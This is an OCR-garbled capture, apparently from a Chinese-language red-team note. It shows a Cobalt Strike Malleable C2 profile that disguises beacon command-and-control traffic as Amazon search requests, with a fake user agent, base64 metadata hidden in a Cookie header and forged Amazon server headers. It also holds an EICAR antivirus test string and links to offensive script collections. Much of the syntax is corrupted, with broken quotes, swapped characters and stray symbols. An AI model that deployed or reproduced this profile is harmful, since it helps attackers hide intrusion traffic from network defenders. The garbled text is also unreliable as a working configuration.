X-Malware: X50!P%@AP[4\PZX54(PA)TCC)T}SEICAR-STANDARD-ANTIVIRUS-TEST-FILE! SH+H*

BE W LIRES S BinETUESIRERALE
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set sleeptime "5000";

set jitter "o,

set maxdns NSRS

set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.@; rv:11.0) like Gecko";

http-get {
set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/f1eld-keywords=books";
client fi

header "Accept" "*/*";
header "Host" "www.amazon.com";

metadata {
base64;
prepend "session-token=";
prepend "skin=noski ;
append "csm-hit=s-24KU11BB82RZSYGJI3BDK|1419899012996" ;
header "Cookie";

¥

[==]

server {

header "Server" "Server";

header "x-amz-id-1" "THKUYEZKCKPGYS5T42PZT";

header "x-amz-id-2" "a2lyZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRVNDVpbgo=";
header "X-Frame-Options" "SAMEORIGIN";

header "Content-Encoding" "gzip";

output {
print;
}

el el =
WNPFRP QWU PWNPRE

}
NORMAL | /tmp/amazon.profile

=] 58
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https://github.com/bluscreenofjeff/AggressorScripts

https://github.com/invokethreatguy/aggressor scripts_collection

https://github.com/rsmudge/Malleable-C2-Profiles
https://blog.cobaltstrike.com/ => {E&EZE
https://www.cobaltstrike.com/downloads/csmanual310.pdf => BF X1
https://www.cobaltstrike.com/aggressor-script/index.html => 455 cna BIAIHY
g, R 45
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